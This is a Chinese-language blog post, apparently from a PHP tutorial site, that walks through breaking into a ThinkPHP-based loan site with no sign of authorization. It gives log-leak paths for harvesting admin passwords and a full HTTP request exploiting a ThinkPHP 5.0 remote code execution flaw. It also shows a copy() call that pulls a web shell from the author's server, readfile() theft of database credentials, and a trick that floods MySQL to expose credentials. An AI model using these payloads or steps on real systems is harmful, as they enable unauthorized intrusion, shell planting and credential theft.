下面thinkphp框架教學欄位將分享一個ThinkPHP框架滲透實戰,希望對需要的朋友有幫助!
找到一個網站http://x.x.x.x/ 下面開始對他進行滲透
首先使用nmap對受害伺服器開放的連接埠掃描探測端口
可以看到開放的連接埠如下
連接埠就是應用程式在電腦通訊中的唯一識別id,透過連接埠我們就能知道受害伺服器開放了什麼服務
如3306是mysql並開啟了外聯,接下來我們對連接埠存取權看看具體開放了什麼服務
8080開放了phpmyadmin一款php連結mysql工具我們可以利用他爆破mysql密碼
8082是一個貸款首頁
##隨便輸入一個不存在的路由接著查看錯誤訊息如http://x.x.x.x/gfvhf #成功報錯:thinkphp框架的版本是5.1.7(這個版本有註入漏洞) 8084是一個後台繼續收集 8092是一個後台,因為部署不規範存在thinkphp日誌洩露,路徑http ://x.x.x.x:8092/runtime/log/202112/19.log 可以到裡面查看到管理員登入的帳號密碼。 這裡說一下黑產使用thinkphp框架因為運維半吊子很有可能有thinkphp日誌洩漏tp5-6 payload: 網域/runtime/log/202112/19.log (後面的202112/19.log是根據目前日期變化的)
tp3 payload: 網域名稱/Application/Runtime/Logs/Home/21_12_19.log (後面的21_12_19.log是根據目前日期變更的)
8083連接埠使用的thinkphp版本是5.0.15,5.0.15版本的利用條件低挑軟柿子捏就這個吧 訊息收集完畢精準打擊開啟burp,然後使用抓包,然後將資料包轉送到burp的Repeater模組下,將擷取內容替換成如下內容漏洞原理就不做詳細講解了,沒個php架構層是聽不懂的。簡單描述一下就是一個變數覆蓋造成程式碼執行thinkphp5漏洞poc可參考https://y4er.com/post/thinkphp5-rce/下面封包內容是觸發漏洞讓伺服器執行phpinfo()POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77 _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod執行成功,可以看到php的一些詳細資訊 #下面開始寫入shell將請求頭替換成:
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1意思是將我伺服器上遠端的shell檔案http://x.x.x.x/2.txt下載,寫入到目前web目錄下的t2.php但我造訪t2.php,出現404猜測應該是目前目錄沒有寫權限於是嘗試給寫權限:
POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1發現還是寫不了shell,php權限很低。 將chmod('./',0777) 替換成readfile('../application/database.php')讀取資料庫設定檔。發現成功取得到mysql帳號密碼。 使用我們之前發現的phpmyadmin服務登入然後mysql開啟外接使用mysql管理工具連接,發現一堆資料庫。且mysql直接是root權限,可以對伺服器進行提權(內網橫向滲透)等。反正外網以經開了一個口子,這裡我就不深入了。
總結一下我自己摸索出來的一些思路:thinkphp在開啟debug模式下如果伺服器開啟了資料庫外聯,可以透過爆破mysql服務發送大量請求(讓mysql堵塞),讓thinkphp連接mysql逾時就會報連線異常錯誤,並將mysql帳號密碼輸出到頁面上。
推薦學習:《thinkphp影片教學》
以上是記一個ThinkPHP框架的滲透實戰的詳細內容。更多資訊請關注PHP中文網其他相關文章!